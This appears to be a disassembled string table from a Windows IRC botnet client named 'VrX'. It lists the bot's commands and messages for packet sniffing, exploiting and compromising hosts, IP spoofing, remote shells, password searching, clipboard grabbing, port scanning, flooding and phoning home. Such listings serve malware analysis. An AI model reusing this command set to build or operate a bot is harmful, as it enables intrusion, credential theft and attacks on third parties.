aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4271o
db 3, 34h, 2
db 53h ; S
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxPacketSniff db '- VrX packet sniffer active.',0
align 10h
unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o
aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo
aAlreadyRunni_1 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao
; sub_401ACD+41EAo ...
align 10h
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o
align 4
aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo
aV: ; DATA XREF: sub_401ACD+3FE4o
; .data:004387BCo ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo
align 4
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o
align 10h
aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo
align 4
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o
align 4
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o
; sub_401ACD+453Fo
align 4
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co
align 4
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o
align 4
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o
align 10h
aO: ; DATA XREF: sub_401ACD+3E74o
; .data:00438AECo
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do
; sub_401ACD+583Ao ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o
align 10h
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o
align 10h
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o
align 4
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o
align 4
aJ: ; DATA XREF: sub_401ACD+3D32o
; .data:004387A4o ...
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D04o
; .data:004387C4o ...
unicode 0, <n>,0
unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do
align 10h
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o
align 10h
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AB7o
; sub_401ACD+3AF2o
dd 0
dword_42B7FC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3A7Co
dd 1
dword_42B814 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A41o
; sub_401ACD+3B62o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo
align 10h
aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o
; sub_401ACD+3991o ...
align 10h
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o
align 4
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o
; sub_401ACD+3CEDo
align 4
dword_42B85C dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+369Ao
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884 dd 636364h ; DATA XREF: sub_401ACD+361Do
aJoinPart db 'join/part',0 ; DATA XREF: sub_401ACD+34C6o
align 4
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401ACD+34ABo
; sub_401ACD+3712o ...
aSI db '%s%i',0 ; DATA XREF: sub_401ACD+3490o
; sub_40AAAC+4Fo ...
align 4
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o
; sub_401ACD+3520o ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o
; sub_401ACD+3D49o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o
; sub_401ACD+34F4o ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o
; sub_401ACD+3D1Bo
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o
align 10h
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o
; sub_401ACD+47C9o
align 4
aNoticeSS_0 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo
align 4
aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo
align 4
dword_42B90C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32A4o
dword_42B920 dd 7463h ; DATA XREF: sub_401ACD+3255o
aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401ACD+323Ao
; sub_401ACD+385Co ...
align 4
a_: ; DATA XREF: sub_401ACD+320Bo
; sub_401ACD+3275o ...
unicode 0, <_>,0
aPm db 'pm',0 ; DATA XREF: sub_401ACD+31EBo
; sub_401ACD+4756o
align 4
unk_42B93C db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo
db 3, 34h, 2
db 56h ; V
db 72h, 58h, 20h
db 46h ; F
db 6Ch, 2 dup(6Fh)
db 64h ; d
db 2, 3, 2Dh
aSClonesLoadedT db ' %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o
align 10h
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o
align 4
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co
align 10h
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o
align 4
unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42B9E4 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o
align 4
unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
aGet_1 db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o
; sub_401ACD+3F71o
unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0
align 10h
unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0
align 4
dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
db 'Hackers.com).',0
dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o
aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42BBB8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2D8Eo
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o
align 4
unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o
aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42BC94 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o
; sub_411BCE+A8o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o
aFindFile db 'Find file',0 ; DATA XREF: sub_401ACD+2ADDo
align 4
dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
aProcessList db 'Process list',0 ; DATA XREF: sub_401ACD+2AC5o
align 4
unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
; sub_401ACD:loc_409570o ...
align 4
unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec db '8,1-VrX- Disconnecting.',0
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
; sub_401ACD+78C1o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
align 4
unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
align 4
unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0
align 4
unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42BDF8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+2917o
dd 65726874h, 2E736461h, 0
dword_42BE18 dd 627573h ; DATA XREF: sub_401ACD+28F1o
unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList db '8,1-VrX- Alias list.',0
align 4
unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2815o
dd 2E676Fh
unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn db '8,1-VrX- Network Info.',0
unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf db '8,1-VrX- System Info.',0
align 4
unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB db '8,1-VrX- Removing Bot.',0
unk_42BECC db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42BF08 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+2658o
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o
align 4
unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 4
unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0
align 4
unk_42BF64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0
align 4
dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+2456o
dd 2Dh
unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42C05C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42C114 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C18C db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo
; sub_40BD91+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o
; sub_40BD91+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o
db 3, 34h, 2
db 4Dh ; M
db 61h, 2 dup(53h)
db 20h
db 53h, 63h, 41h
db 6Eh ; n
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start scan, port is invalid.',0
unk_42C290 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o
; sub_401ACD+5B20o
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o
; sub_401ACD+5B19o
align 4
dword_42C34C dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
align 4
unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo
align 10h
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+1BC8o
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o
align 4
aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co
align 10h
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o
unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB db '8,1-VrX- Crashing bot.',0
aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o
; sub_401ACD+1B71o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co
align 10h
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo
align 10h
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o
align 4
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o
align 10h
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o
align 10h
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o
; sub_401ACD+3C81o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo
align 10h
unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList db '8,1-VrX- Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o
; sub_40B477+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+1902o
dword_42C564 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o
dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401ACD+18D5o
align 4
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o
aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o
align 10h
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo
align 4
aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o
; sub_401ACD+17D5o
align 10h
aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o
align 10h
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do
align 4
aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo
aT: ; DATA XREF: sub_401ACD+16D9o
; .data:00438778o ...
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o
unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0
align 4
unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o
a81VrxRebooting db '8,1-VrX- Rebooting system.',0
aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o
aI: ; DATA XREF: sub_401ACD+165Do
; .data:00438784o ...
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1648o
align 4
aS_5: ; DATA XREF: sub_401ACD+1633o
; .data:00438790o ...
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo
align 4
aQ: ; DATA XREF: sub_401ACD+1609o
; .data:off_438768o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o
align 10h
aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo
align 10h
aR: ; DATA XREF: sub_401ACD+15B5o
; sub_401ACD+3D8Eo ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o
align 10h
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
align 10h
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do
align 10h
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o
align 4
dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o
align 10h
